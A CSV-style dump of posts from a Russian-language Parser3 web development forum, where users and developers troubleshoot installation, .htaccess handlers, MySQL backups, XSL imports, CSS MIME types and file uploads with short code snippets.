"31708","Я разобрался вся проблема была в картинки, которая почему то не давала нормально писать, хЕ я ее поместил как bg и нормально все стало. Спасибо что попытались помочь."
"31710","Очень может быть..."
"31711","Простите, я может не понимаю, а что забавного в том, что /bin/env не существует?"
"31712","Ну и отлично :)\
Я бы посоветовал почитать книжки по CGI интерфейсу для самых маленьких, чтобы понять что не так... \
\
А разработчикам - внимательнее относиться к обработке исключений, и не вводить в заблуждение пользователей сообщениями об ошибках, которые не имеют место быть"
"31713","У меня вопрос, как работать с imagemagick для веба? Качать на сайте нужно скрит который на перле или все 27 метров? Потом может кто подскажет документацию на русском. Зарание спосибо"
"31714","Предполагается, что у провайдера всё установленно(для выяснения подробностей задайте вопрос тех поддержке \"Модуль imagemagick для перл установлен?\").\
Вам остаётся скачать скрипт на перле и использовать его согласно инструкции."
"31715","Незнаю как сделать обрезание текста на определённое количество символов, к примеру \"Мама папе готовила рисовую кашу\" обрезать \"Мама папе готовила ри...\""
"31718","[code]\
$result[^source.match[<tag>([^^(?:<tag>)]*?)</tag>][gi]{<tag>($match.1)</tag>}]\
[/code]\
\
Т.е. интересует, [^^(?:<tag>)] имеет право на существование или нет? Может можно как-то более правильно сделать?"
"31721","(?=regexp) - положительный просмотр вперед нулевой длины\
(?!regexp) - отрицательный...\
\
и про \\w+?, знаком!\
\
Я просто сократил выражение, чтобы был понятен вопрос...\
\
Как можно переписать это выражение используя отрицательный просмотр вперед? Если не сложно..."
"31722","Поставил.\
запускаю _test.html, получаю:\
[code]\
Unhandled Exception\
change_case_UTF8 error: end pointers do not match\
upper\
\
/docroot/www/_test.html(262)\
[/code]\
Комментирую вызов upper, lower.\
В auto.p, который вместе с бинарником лежит прописываю строку подключения, снова смотрю на _test.html, он вообще считает, что эта строка не определена. После недолгого изучения, прихожу к выводу, что @auto[] из /cgi-bin/p3/auto.p не выполняется, хотя @conf[] из этого же файлы выполнен - кодировки ловит нормально.\
\
Парсер ставил уже много раз на различные системы - никогда с таким не сталкивался.\
Баг или кривый руки?"
"31723","Здраствуйте!\
Возникла такая вот проблема:\
на страница собирается из разных кусков XML , у каждого куска есть свой XSL шаблончик. Когда собираю XML страницы, то делаю импорт xsl шаблонов всех кусков в XSL шаблон страницы. Делаю это с помощью DOM.\
но вот проблема не хочет чего-то работать нормально XSL шаблон страницы, т.е. отображает все так как будто, нет там вапще ни одной xsl:import !!! \
\
Но если руками прописать тот же xsl:import, то всё начинает шуршать как надо. Вчем ошибаюсь я?\
--------------------------\
файл index.html\
--------------------------\
[code]\
@main[]\
$path[/import/]\
# входной xdoc документ \
$sourceDoc[^xdoc::load[${path}xml.xml]] \
\
# шаблон в который бум делать импорт\
$template[^xdoc::load[${path}xsl1.xsl]]\
# с помощью DOM делаем import xsl шаблонов \
# определяем пространство имен....\
$template.search-namespaces.xsl[http://www.w3.org/1999/XSL/Transform]\
# берем корневой элемент шаблона.\
$xsl_stylesheet[^template.selectSingle[//xsl:stylesheet]]\
# 		создаем элемент <xsl:import/>\
		$xsl_import[^template.createElementNS[xsl;xsl:import]]\
# 		добавляем атрибут href\
		$attr[^xsl_import.setAttribute[href;xsl2.xsl]]\
# 		добавляем созданый елемент <xsl:import/> к <xsl:stylesheet/> в начало дерева!!! важно!\
		$add[^xsl_stylesheet.insertBefore[$xsl_import;$xsl_stylesheet.firstChild]]\
# преобразование xdoc документа шаблоном item.xsl \
$transformedDoc[^sourceDoc.transform[$template]] \
# выдача результата\
$response:content-type[\
^if(def $form:mode){\
	$.value[text/xml]\
}{\
	$.value[text/html]\
}\
        $.charset[$response:charset]\
]\
#####\
^if(def $form:mode){\
	^switch[$form:mode]{\
		^case[xml]{$result[^sourceDoc.string[]]}\
		^case[xsl]{$result[^template.string[]]}\
	}\
}{\
	$result[^transformedDoc.string[$.method[html]]]\
}\
[/code]\
----------------------------\
файл xml.xml\
---------------------------\
[code]\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<xml>\
	<window_name>Parser RU!</window_name>\
	<linesMenu >\
		<line name=\"classic\" id=\"150\" url=\"/cla/\"/>\
		<line name=\"dia\" id=\"151\" url=\"/dia/\"/>\
		<line name=\"abt\" id=\"152\" url=\"/ab/\"/>\
		<line name=\"mini\" id=\"153\" url=\"/mini/\"/>\
		<line name=\"sport\" id=\"154\" url=\"/sport/\"/>\
	</linesMenu>\
</xml>\
[/code]\
\
---------------------\
файл xsl1.xsl с шаблоном в который импорт делаем\
----------------------\
[code]\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:fo=\"http://www.w3.org/1999/XSL/Format\">\
<!--<xsl:import href=\"xsl2.xsl\"/>-->\
<xsl:template match=\"/\">\
	<title>\
		<xsl:value-of select=\".//window_name\"/>\
	</title>\
<xsl:apply-templates select=\".//linesMenu\"/>\
</xsl:template>\
</xsl:stylesheet>\
[/code]\
\
----------------------------\
тот xsl что импортируем xsl2.xsl\
----------------------------\
[code]\
<?xml version=\"1.0\" encoding=\"UTF-8\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:fo=\"http://www.w3.org/1999/XSL/Format\">\
\
<xsl:template match=\"linesMenu\">\
<table width=\"100%\" cellpadding=\"0\" cellspacing=\"0\" border=\"0\">\
	<tbody>\
		<xsl:for-each select=\"./line\">\
		<xsl:param name=\"url\"><xsl:value-of select=\"@url\"/></xsl:param>\
		<tr>\
			<td align=\"left\"><a href=\"{$url}\"><nobr><xsl:value-of select=\"@name\"/></nobr></a></td>\
		</tr>\
		</xsl:for-each>\
	</tbody>\
</table>\
</xsl:template>\
\
</xsl:stylesheet>\
[/code]\
\
чтобы посмотреть xsl : /import/?mode=xsl\
чтобы посмотреть xml : /import/?mode=xml\
чтобы посмотреть html : /import/\
\
Какие есть еще способы что бы делать импорт автоматом кроме DOM?\
\
Parser 3.1.2 CGI+XML; winXP; Apache 2"
"31724","поэтому parser не знает, что входящий текст в кодировке windows-1251, продолжает считать, что он в utf-8.\
\
перепроверьте положение файла, точно ли рядом с parser3.exe?\
проверьте права на чтение этого файла?\
проверьте, если запустить так:\
[code]\
x:\\path\\to\\webspace> x:\\path\\to\\parser3.exe _test.html\
[/code]\
работает ли?"
"31725","только не вчитались, что же идёт первым параметром в createElementNS.\
\
так работает:\
[code]\
^template.createElementNS[http://www.w3.org/1999/XSL/Transform;xsl:import]]\
[/code]"
"31726","если проблема в неправильном понимании конструкции [...] при чем тут жадность и опережающая проверка?"
"31728","Пишу такой код:\
\
[code]\
$bak_table[^table::sql{BACKUP TABLE $table TO '/backup'}]\
^bak_table.menu{\
	<table border=\"1\">\
	<tr><td>таблица</td><td>$action.Table</td></tr>\
	<tr><td>действие</td><td>$action.Op</td></tr>\
	<tr><td>тип сообщения</td><td>$action.Msg_type</td></tr>\
	<tr><td>текст сообщения</td><td>$action.Msg_text</td></tr>\
	</table>\
}\
[/code]\
\
Получаю результат:\
\
[code]\
<table border=\"1\">\
<tr><td>таблица</td><td>red-torch.status</td></tr>\
<tr><td>действие</td><td>backup</td></tr>\
<tr><td>тип сообщения</td><td>error</td></tr>\
<tr><td>текст сообщения</td><td>Failed copying .frm file: errno = 2</td></tr>\
</table>\
\
<table border=\"1\">\
<tr><td>таблица</td><td>red-torch.status</td></tr>\
<tr><td>действие</td><td>backup</td></tr>\
<tr><td>тип сообщения</td><td>status</td></tr>\
<tr><td>текст сообщения</td><td>Operation failed</td></tr>\
</table>\
[/code]\
\
Подскажите пожалуйста, что значит [b]Failed copying .frm file: errno = 2[/b]\
\
Заранее спасибо :)"
"31729","[quot]В процессе резервного копирования будет установлена блокировка чтения отдельно для каждой таблицы на время ее копирования. Если необходимо сделать резервное копирование в виде мгновенного образа нескольких таблиц, необходимо сначала запросить LOCK TABLES установки блокировки чтения для каждой таблицы в группе.[/quot]\
\
Не понял: вроде сказано, что будет создана блокировка чтения, если не нужно делать \"мгновенный\" образ. Мне не нужно делать мгновенный, т.е. я не должен делать lock tables, но тогда он выдает ошибку... Не понимаю. Помогите пожалуйста."
"31730","1. У mysql нет прав на запись в эту папку\
2. Папки не существует\
3. Если сервер под windows, либо надо удваивать слэши в пути - \"c:\\\\temp\\\\mysql\\\\\" или использовать обратные слэши - \"/temp/backup/\""
"31731","1. Как узнать есть ли права у mysql или нет?\
2. Папка существует.\
3. Так я же и так использую обратный слэш: \"/_backup\""
"31736","PAF, а может быть передвинуть эту задачу чуть повыше? )\
Да, я тоже могу ImageMagic использовать. Но хочется, очень хочется всё-в-одном.\
\
Ну или например не в форуме, а где-нибудь на главной стр. парой строк -- мол, сделайте, люди просят. \
\
Они, просят, действительно. Слёзно."
"31737","То есть один пункт из http://www.parser.ru/forum/?id=31585 убран.\
\
Брать там же -  http://www.bougakov.com/devel/download/parser_demo_website_setup.exe (4.8Mb)"
"31738","Господа, а подскажите пожалуйста, как узнать уровень, на котором в данный момент выполняется рекурсивная функция?\
Т.е. есть у меня стандартная таблица в бд (id, title, parent_id) и есть такая функция:\
@printTree[id][tbl]\
[code]\
$tbl[^table::sql{select id, title, parent_id from pages where parent_id = $id}]\
<ul>\
^tbl.menu{\
  <li>$tbl.title</li>\
  ^printTree[$tbl.id]\
}\
</ul>\
[/code]\
\
А мне надо к примеру использовать не <ul>, а таблицу с разными style'ами для разных уровней или вывести максимум n уровней дерева.."
"31740","Поставил парсер 3.1.3 на линукс, дистрибутивы брал с egoroff.spb.ru с отключенным safe mode. Все работает, но при любом обращении к БД идет затык в сеунд 15-20, а потом за полсекунды собирается страница.  Страницы с множеством графики, но без подключений к БД грузятся моментально. \
\
Обширная переписка с саппортом h2hosting кончилась тем, что парсер - гавно, писать надо на php, у них все работает отлично. \
\
Клиент только оплатил хостинг на год, желания советовать сменить компанию нет.\
\
Сайт - vltruck.ru\
\
Где посмотреть, что подкрутить? Ошибки-то как таковой нет, в логах ничего не написано, а 20 секунд на каждую страницу - очень много."
"31741","Зачем же перевирать факты? Это не проблема с MySQL, о чем мы в разных вариантах объяснили вам. \
\
Я позволю привести пример из вашего же кода\
<a href='/pics/${cat.name}.jpg' target=_blank><img src='/pics/t_${cat.name}.jpg' border=1>\
\
Так вот, если ставить ПЕРЕД всем этим вывод имени файла, скажем ${cat.name}, то эти имена выводятся СРАЗУ же, будь там их хоть 100, хоть 2, а картинка все равно не выводится сразу (не всегда, правда).  \
\
Собственно, здравый вопрос - а причем здесь MySQL? ;()\
\
p.s. говорить чушь на публичном форуме не совсем корректно, не разобравшись."
"31742","Ты приводишь какието не нужные примеры. \
\
На странице vltruck.ru/about вообще не выводятся из базы картинки, только названия разделов. Но затык в 20 сек. есть. \
\
Единственная зацепка теперь в IP 217.16.26.81, куда идет какойто запрос со всех страниц. Выключены все банеры, внешних источников на странице нет, нозапрос идет. Откуда? Тов. Egoroff - он надежный товарищь?"
"31743","убрал со страницы все обращения к БД, затуп остался. Попросил друзей потестить - затупы есть, только по времени иногда отличаются.\
\
любезный саппорт предложил закинуть куда надо favicon.ico - после этого все наладилось.\
\
Ставил парсер уже на десяток наверно хостингов - первый раз такое."
"31744","смотрю сайт локально все отображается нормально (IE, Opera (6,7), Mozilla). выкладываем сайт в интернет -- Мозилла отображает все так, как будто файлов со стилями просто нет!!! причем это встречается не во всех наших сайтах... взаимосвязи с методом подключения (link, import) и размерами фалов не обнаружено. \
\
может быть кто-нибудь уже встречался с подобным явлением?"
"31745","по поводу уровня: что мешает передавать дополнительный параметр:\
[code]\
@printTree[id;level]\
...\
^printTree[$tbl.id]($level+1)\
...\
[/code]"
"31746","похоже, что вы думаете, что это путь в вашем веб-пространстве.\
это не так.\
это даже не путь в файловом пространстве вашего веб-сервера.\
это путь в файловом пространстве вашего sql-сервера.\
[в общем виде, это могут быть разные машины]\
\
вывод: самый простой способ: запускать(file::exec) внешний скриптик\
backup.sh:\
[code]\
#!/bin/sh\
\
/usr/local/mysql/bin/mysqldump \\\
  -uПОЛЬЗОВАТЕЛЬ -pПАРОЛЬ -hХОСТ \\\
  --no-autocommit --add-drop-table -e \\\
  БАЗАДАННЫХ > backup.sql\
[/code]\
\
не забудьте про переносы в стиле UNIX, и выставление битов executable."
"31747","пусть сделает.\
\"patch -u\" пришлёт мне.\
\
детский сад закрыт."
"31748","то вставка \
\
[code]# Если не выдать правильный content-type, у некоторых \
# браузеров могут быть проблемы с отображением:\
\
$response:content-type[\
	$.value[text/css]\
	$.charset[windows-1251]\
] [/code] в начало CSS-файла поможет.\
\
Mozilla нечувствительна к расширению файла, она на mime-type смотрит.\
\
Если генерится не парсером - просто озаботьтесь сопоставлению *.css правильного типа в mime.conf Если это не сделано, админ вашего хостинга профнепригоден."
"31749","от корня веб-пространства или от корневого каталога сервера?\
\
Надо второе (c:/ля-ля-ля или /usr/local/apache/htdocs/backup/)"
"31750","[code]AddType  text/css css[/code]"
"31751","бред какой-то а не хостинг, - надо линять с такого."
"31752","видно, что автор скверно разобрался в проблеме и задействовал службу поддержки преждевременно.\
это говорит о том, что все его сообщения надо читать с известной долей скептицизма.\
\
способ правильного сообщения: [b]по возможности[/b], сначала проблема выделяется в чистом стабильном виде, потом о ней сообщается со всеми деталями.\
\
в этом случае было/есть не так."
"31754","судя по всему проблема именно в этом. но мы добавляем строку в .htaccess и ничего не меняется, придется админов сервера просить изменить mime.types?"
"31756","что-то я не так делаю, пишу\
HEAD /site/www/css/style.css HTTP/1.0\
\
мне пишут, что, мол, такого файла нет, хотя он есть это точно. уверен что не правильно формулирую запрос, но в чем ошибка понять не могу, давно с *nix работал -- ничего не помню ((("
"31757","ну-ну...\
осмелюсь предположить, что вам надо писать:\
[code]\
HEAD /css/style.css HTTP/1.1\
Host: хост\
\
[/code]\
\
и соответственно в html:\
<link rel=\"stylesheet\" type=\"text/css\" href=\"/css/style.css\">"
"31758","Если набрать в браузере http://ваш_сайт/site/www/css/style.css оно покажется? Думаю, что нет.\
\
Про телнет - помимо HEAD надо добавить еще строчку\
[code]HEAD /правильный_путь/style.css HTTP/1.1[enter]\
[color=\"#ff0000\"]host: ваш_сайт[enter][/color]\
[enter][/code]"
"31759","Оказалось все еще сложнее - в тоже самое время как я залил иконку, админ отключил Mod_gzip. Т.е. в итоге проблема оказаласе не в иконке, а в поддержке парсером (как сказали в саппорте) архивации.\
\
Обратился на форум после того, как саппорт умыл руки и сказал \"на этом все, пишите в форум парсера\"."
"31762","потом обращайтесь.\
что в свой support, что сюда.\
\
из ваших сообщений понятно, что \"что-то не так\", но что именно, вы не выяснили.\
\
воспользуйтесь дедушкиным методом:\
[b]убирайте блоки, пока не заработает[/b].\
\
если есть подозрение на parser, протестируйте на тривиальном скрипте, к которому нет подозрений.\
\
положите под именем parser3.cgi скрипт такого содержания:\
[code]\
#!/bin/sh\
\
echo content-type:text/plain\
echo\
echo I am not parser\
echo I am just a trivial test\
echo Everything is OK\
[/code]\
\
текст с переносами строк в стиле UNIX, после upload не забудьте про биты executable."
"31763","ок, в интернете данный файл доступен по адресу:\
http://www.my_site.ru/css/style.css\
\
я логинюсь на сервак, пишу\
HEAD /css/style.css HTTP/1.1[enter]\
\
он мне пишет, что файла нет (чтобы прочитать файл работает команда:\
\
cat site/www/css/style.css\
\
), а когда еще раз enter жать? или может вообще логинится не надо? или команду сначала набрать какую-нибудь? я использую стандартный виндовый клиент\
\
понимаю, что задаю глупые вопросы, но я вообще верстальщик а не админ, так что мне наверное простительно..."
"31764","запустите его со СВОЕГО компьютера, предварительно запустив telnet /? и прочитав справку"
"31765","я ее уже читал (( ничего не понял..\
пытался уже по всякому"
"31766","Возможно просто где-то в имени файла закралась заглавная буковка...  unix  is a case-sensitive OS"
"31767","запустите какой-нить броузер, который показывает заголовки ответа (Opera 7.5, Firefox)\
обратитесь к документу:\
http://www.my_site.ru/css/style.css\
\
во первых вы должны увидеть текст вашего css.\
\
затем посмотрите заголовки (вас интересует type в Firefox [Ctrl-J] или MIME Type from server [page info] в Opera 7.5)\
\
должно быть 'text/css'"
"31768","просто опишите мне пошагово, какие команды надо вводить, а то я так и не разберусь наверное...\
ну или где можно про это почитать"
"31771","Есть два сервера идин рабочий один отладочный!\
На каждом стоит парсер и апач.\
На на странице есть запрос к серверу. Если обращается к отладочному серваку то все работает, данные выдаются. Если меняешь на рабочий то данных нет. Возвращается пустая таблица. Причом этот же запрос в QueryAnalyzer на рабочем сервере работает. Данные возвращаются.\
Как мне найти причину, почему не работает. Парсер никаких ошибок не выдает. \
В запросе есть дата: '2004-08-01 00:00:00' которая вписывается через [CODE] '$ta_data.sql-string[]' [/CODE]\
если вбить тупо '20040801' тогда пашет. Короче вот! %^$#^%$ какая-то.\
\
Еще не работает select into #tempselect. пишет недопустимое состояние курсора."
"31773","[b] [color=\"red\"]^[/color][/b]ta_data.sql-string[]"
"31775","Делаю запрос к базе\
\
[code]\
^newsgroups.menu{\
INSERT INTO subscribe SET subscribe_user_id = '^session.get[user_id]', subscribe_newsgroup_id = '$newsgroups.newsgroup_id'^;\
}\
[/code]\
\
Выдаёт: You have an error in your SQL syntax.  Check the manual that corresponds to your MySQL server version for the right syntax to use near ';\
\
Смотрю лог: \
[code]\
'|				|					INSERT INTO subscribe SET subscribe_user_id = '6', subscribe_newsgroup_id = '9'|				;|					INSERT INTO subscribe SET subscribe_user_id = '6', subscribe_newsgroup_id = '10'|				|\
[/code]\
\
беру оттуда sql-запрос и вставляю его в mysql-front - та же байда. Делаю переводы строк - всё начинает работать.\
Очевидно дело в этих переводах. Как мне от них избавиться?"
"31776","Премного благодарен...."
"31778","[code]\
{ts 'yyyy-mm-dd hh:mm:ss'}\
[/code]\
ровно с этими фигурными скобками и буквами ts.\
\
вероятно, какое-то время вам позволяли нарушать ODBC стандарт, передавая дату просто 'yyyy-mm-...', потом перестали позволять."
"31780","вы написали несколько через точку с запятой.\
parser так не умеет.\
\
в доке про параметр написано \"sql запрос\", не \"sql запрос[b]ы[/b]\"."
"31781","сделать сразу штук двадцать инсертов в таблицу. Не перебирать же каждую строчку и делать каждый раз новый запрос?"
"31782","за исключением тупого перебора запросов"
"31783","у него можно в одном insert сколько хочешь строк добавить."
"31784","Спасибо большое. Совсем забыл\
[code]\
^if(def $newsgroups){\
	^void:sql{\
		INSERT INTO \
			subscribe (subscribe_user_id,subscribe_newsgroup_id)\
		VALUES ^newsgroups.menu{('^session.get[user_id]','$newsgroups.newsgroup_id') }[,]\
	}\
}\
[/code]"
"31785","Вот такой код:\
[code]\
<form method=\"POST\" enctype=\"multipart/form-data\">\
<input name=\"header\">\
<input type=file name=\"file\">\
</form>\
\
^if(def $form:header && def $form:file){\
\
   $text[$form:file.text]\
\
   ^dbconnect{\
	^void:sql{insert into table\
         (header, text)\
      values\
         ('$form:header', '$text')\
          }\
}[/code]\
\
\
Если пытаюсь получить\
текст файла с расширением *.doc,\
то получаю вместо текста например\
это –\
[b]РП?аЎ??б[/b];\
а если загружаю из *.cfg,\
то получаю нормальный текст.\
На файлах с др. расш. пока\
не пробовал.\
Почему же не определяется текст,\
ведь должен по таблице $MIME-TYPES.....\
\
Заранее спасибо."
"31788","вы понимаете разницу между текстовым редавтором и текстовым процессором? а между текстовым файлом и файлом, имеющим свой собственный формат? почему вас не удивляет, что в html есть какие-то тэги?"
"31789","Может быть и не совсем понимаю, но хочу понять.\
Нужно взять текст из файла загруженного через форму\
(файл [i][b]msword[/b][/i] в моем случае).\
В итоге я получаю около 6 беспорядочных символов,\
имя файла получаю, но вот с текстом не пойму -\
что делаю не так.\
Тот же текст копирую в файл [i][b]cfg[/b][/i]\
и затем благополучно достаю оттуда же..\
Получается, что текст из файла .doc\
требует дополнительного преобразования,\
но как?\
\
Наверно все-таки что-то не понимаю,\
если можно выведите на путь истинный..."
"31790","в опере я так page source и не нашел, посмотрел в той же мозилле, пишет -- \"text/css\"\
так, в чем же тогда проблема?"
"31791","... каким-либо образом посмотреть, что из себя представляет файл MS Word? Откройте его не Word'ом, а скажем, хитрой программой NotePad. Только файл должен быть ма-а-а-а-аленький, а то хитрая программа не справится. Возьмите Word, создайте новый файл, напишите туда одно слово (например \"Парсер\"), сохраните его и смело открывайте NotePad'ом. Кстати, иногда (в русской версии Windows), программу NotePad называют \"Блокнот\". Когда откроете, обратите внимание на первые пять символов, может быть на вас снизойдёт просветление.\
\
А вообще, по-моему это просто стёб :))) При таком уровне понимания вы вряд-ли смогли бы отправлять сообщения в форум, не говоря уже о, допустим, установке Парсера. Хотя... Чего только на свете не бывает :)))"
"31792","Ваш способ помог! Спасибо!\
Почему бы это сразу не отразить в документации. Потому как пользуешь пример из документации а там грабли подводные!\
\
А еще вопрос почему таки не работает селект во временную таблицу?"
"31793","задумайтесь: в .doc файле текст с форматированием или без?\
скажем, есть в тексте сложная таблица.\
\
какой «текст» вы хотели бы получить?\
как там вам видится сложная таблица?\
\
простой работающий вариант, если вёрстка не нужна:\
просите пользователей закачивать вам .txt файл, рядом с формой для закачки положите картинку, где видно, как в File|Save as... переключать File type на \"Plain text (.txt)\"\
\
простой работающий вариант, если вёрстка нужна, и хочется [b]как-нибудь[/b] её сохранить:\
просите пользователей закачивать вам .htm файл, ...\
\
сложный работающий вариант, если нужна и вёрстка и метаданные, и хочется разбиться в лепёшку, но клиента удовлетворить:\
MSOffice 2000+ умеет сохранять файлы в .xml формате. такой файл можно затем обработать, и получить из него всё, что угодно.\
\
\
WIN32 hosting:\
если есть минимальные навыки программирования на любом языке, то\
пользователей можно не просить ничего делать, и позволить закачивать прямо .doc файл.\
можно затем обработать его с помощью самого winword программным способом.\
если вам это реально нужно, программка, делающее это, пишется за один вечер на чём угодно, хоть на… visual basic'е (потом вызывается из parser — file::exec).\
[это реальный случай из жизни Студии]\
\
обычно этого не нужно.\
\
ещё сложнее случай: если hosting не win32, можно найти программку, достающую plain text из .doc файла. это отдельные усилия. готовую не знаю. а самому писать с нуля — нетривиально.\
наличие готовой не означает, что она сумеет справиться с русскими буквами и последними версиями office."
"31794","Start|Run...\
mk:@MSITStore:C:\\Program%20Files\\Microsoft%20SQL%20Server\\80\\Tools\\Books\\acdata.chm::/ac_8_con_03_04l0.htm\
\
уверен, вы не думаете, что 28MB файлов из этого каталога нам нужно добавить к нашему 400KB файлу?"
"31795","про пример: пример дан для mysql. подразумевается, что если вам нужно под другой sql сервер, вы знаете, что делаете.\
\
про временную таблицу: если документацию по вашему sql серверу вы не читаете, ничего работать не должно.\
скажу больше: то, что сейчас вам кажется, что что-то работает, на самом деле перестанет работать через небольшое время.\
\
вывод: сядьте и почитайте документацию на MSSQL сервер и на ODBC. файлы есть в поставке MSSQL сервера."
"31796","А в доке по парсеру сказано:\
[i]\
Метод преобразует дату к виду [b]ГГГГ-ММ-ДД ЧЧ:ММ:СС[/b], который принят для хранения дат в СУБД. Использование данного метода позволяет вности в базы данных значения дат без дополнительных преобразований[/i]\
\
Про MySQL там ничего конкретно не было. Я понял так : вот вам метод для работы с датами, пользуйте на здоровье!\
Ну да ладно, не буду занудствовать!\
\
А как насчет временных таблиц?"
"31797","Хитрая программа Notepad в поставке Win NT и выше открывает файлы любого размера! :)"
"31798","Дело было так:\
\
1. Установил ImageMagick и ActivePerl.\
2. Запустил images.pl (из примера), скрипт отработал, создался уменьшенный файл.\
3. Попробовал запустить пример из броузера (.html->.p->.pl), ошибки не было, но и уменьшенное изображение не создавалось.\
4. Закомментировал в images.p ^try{\
теперь выдается ошибка:\
[i]\
Unhandled Exception (Debug)\
exec failed - Access is denied (5). Consider adding shbang line (#!x:\\interpreter\\command line)\
/home/localhost/www2/classes/images.pl\
/home/localhost/www2/classes/images.p(69)\
[/i]\
Пробовал делать полный доступ на\
images.pl и perl.exe для Everyone, но ошибка такая-же.\
\
Видимо не там копаю, подскажите, плз, что неправильно ?"
"31802","формат принят = так написано в ANSI стандарте на SQL. \
\
вопрос\
«почему ODBC драйвер для MSSQL нарушает ANSI стандарт на SQL» \
можно всегда направить куда хотите."
"31803","Вверху перлового файда, который собираетесь екзекьютить перлом добавьте\
[code]\
#!c:\\где\\там\\у\\вас\\перл.ехе\
[/code]"
"31804","http://www.google.com/search?q=shbang+line\
\
сейчас на первой строке результатов — некое сообщение из нашего форума!"
"31805","http://www.google.ru/search?q=shbang+line&ie=UTF-8&hl=ru&btnG=Поиск+в+Google&lr="
"31806","auto.p лежит там же, где и бинарник парсера\
права есть даже на запись\
если запускаю из командной строки, так же получаю unhandled exception\
\
в /cgi-bin/p3/auto.p сначала @conf потом @auto\
Эксперементальным методом я убедился в том, что @conf считан, а вот до @auto почему-то дело не дошло.\
Во всяком случае, если закомментировать строки с upper и lower и посмотреть _test.html, в таблице драйверов и кодировок будут только mysql и koi с win1251 соответственно, т.к. остальные закомментированы.\
Это, к стати, говорит о том, что права для чтения к auto.p есть паалюбому!"
"31807","2. проверить, выполняется ли этот метод, просто: впишите в его начало строчку [code]^bug[][/code]\
\
если сами не разберётесь, сделайте bug.zip/пришлите."
"31809","Интересная штука получается:\
не находится подстрока в строке (пример из документации):\
\
[code]\
$tmp[полигон]\
$index(^tmp.pos[гон])\
[/code]\
в результате.... -1\
Или я чего-то не понимаю? Объясните, пожалуйста !"
"31810","возьмите ваше сообщение, скопируйте оттуда текст в файл test.html, в конец добавьте вывод переменной, и пришлите на форум результат."
"31811","результат:   -1"
"31812","4 если в 1251 и 8 если в UTF-8\
\
т.е. работает.\
\
P.S. версия парсера?"
"31813","(хотя такой ошибки я не помню)"
"31814","3.1.1"
"31815","3.1.3 : 4\
3.0.0007 : 4\
3.1.0 : -1\
\
наверное в 3.1.1 тоже баг. у меня под ругой нету, качать и ставить для проверки лениво :)"
"31816","Спасибо, буду обновляться !"
"31819","поставил auto.p прямо из архива - ничего не изменилось\
\
не понял, что вы имеете ввиду по поводу ^bug[]?\
в /cgi-bin/p3/auto.p добавил:\
[code]\
@bug[]\
zzz\
[/code]\
и вызываю ^bug[] в конце _test.html -  zzz вижу.\
\
bug.zip'а здесь не получится, т.к. вообще подобные настройки всегда и на всех платформах работали."
"31820","если вы добавите вызов несуществующего метода в определенное место кода, то в если парсер доберется до него он ругнется, и вы убедитесь, что это он выполняет.\
\
соответственно ПАФ рекомендует в первую строчку метода @auto[] конфигурационного auto.p вписать заведомо ошибочный код чтобы убедится что до выполнения этого метода у парсера доходят руки..."
"31821","Пожалуйста посмотрите \
\
http://www.bougakov.com/devel/download/parser_demo_website_setup.exe (4.8Mb)\
\
и выскажите замечания. Спасибо.\
\
Вопрос к Александру Петросяну - что нужно сделать с пакетом, чтобы он фигурировал рядом с Denver в папке /download/ этого сайта?"
"31823","благо он безвреден - сносится простым удалением папки..."
"31825","Правда мускул я не проверял."
"31830","говорить о полноценной поддержке \"из коробки\", то нет, но это несложно устроить самому при помощи встроенных средств.\
См. документацию."
"31831","вставил ^bug[], парсер на него не ругается :("
"31833","Скачал драйверы для редхэта, там только один файл - libparser3mysql.so. А в auto.p (примере) написано в настройках MySQ, что нужен ещё клиент - libmysqlclient.so. Где его взять? Или он не очень-то и нужен?"
"31834","Без него Парсер не сможет обратится к серверу. Путь к драйверу указывается в конфигурационном auto.p. Если на сервере нет этой библиотеки, то обратитесь к сисадмину своего хостинга - пусть доставит."
"31835","Подскажите пожалуйста как мне установить Parser локально под XP или OS 10"
"31836","Прочитайте:\
http://www.parser.ru/docs/lang/install.htm\
http://www.parser.ru/faq/install/\
\
... и обязательно первый вопрос в http://www.parser.ru/faq/forum/"
"31837","Пытаюсь установить парсер на хост уже третий день, понять не могу в чем проблема, .htaccess делаю точно такой же как в инструкции по установке. Когда посмотрел лог в нем было вот это: [Sat Aug  7 21:46:41 2004] [alert] /pub/home/flabber7/htdocs/.htaccess: Action takes two arguments, a media type followed by a script name. Хост стоит на FreeBSD 4. Парсера я скачал скомпиленного."
"31839","AddHandler parsed-html html\
Action parsed -html /cgi-bin/parser3.cgi\
\
<files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</files>\
\
CharsetDisable On"
"31843","AddHandler parsed-html html\
Action parsed -html /cgi-bin/parser3.cgi\
\
<files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</files>\
\
CharsetDisable On"
"31845","Раньше в логах было вот это: mod_frontpage.c(132): FrontPage CGI-Admin disabled for server flabber7.abchost.ru:80. Сейчас такого нет, но есть то что я писал выше."
"31849","AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</files>\
CharsetDisable On"
"31850","можно ли где-нибудь достать?\
интересует 3.1.1 для frebsd"
"31852","http://www.parser.ru/f/1/download/freebsd/parser3_1_1_freebsd48R_cgi_xml.tar.gz"
"31853","С теми проблемами разобрался, версию парсера кажет, но как токо иду на любую из страниц написанных на парсере пишет в parser3.log - 'macro' undefined method [parser.runtime]."
"31855","А в какой-то папочке off-line\
А есть где-нибудь список всех версий  с возможностью скачать?"
"31856","Вот такое лекарство может быть - поставить тэг параграфа внутри:\
\
<div style=\"background-color:red;width:10px;height:10px\">\
<p></p>\
</div></center>"
"31858","Если посмотрите куда ведут линки из раздела \"Скачать\", то как раз папочку \"off-line\" и увидите."
"31860","Здесь http://www.parser.ru/f/1/download/ его нет"
"31862","Удобная вещь, главное сайт можно размещать где хочешь, и управление нормально организовано, но мне понадобилось закачать msvbvm60.dll вот ссылка: http://download.microsoft.com/download/vb60pro/Redist/sp5/WIN98Me/EN-US/vbrun60sp5.exe"
"31863","Со старой версией все нормально работало, а вот снёс старую и поставил эту - по адресам 127.0.0.х начала открываться не стартовая страничка с парсером, а дефолтовая страница windows'xp, та что в c:/inetpub/ ... что делать?"
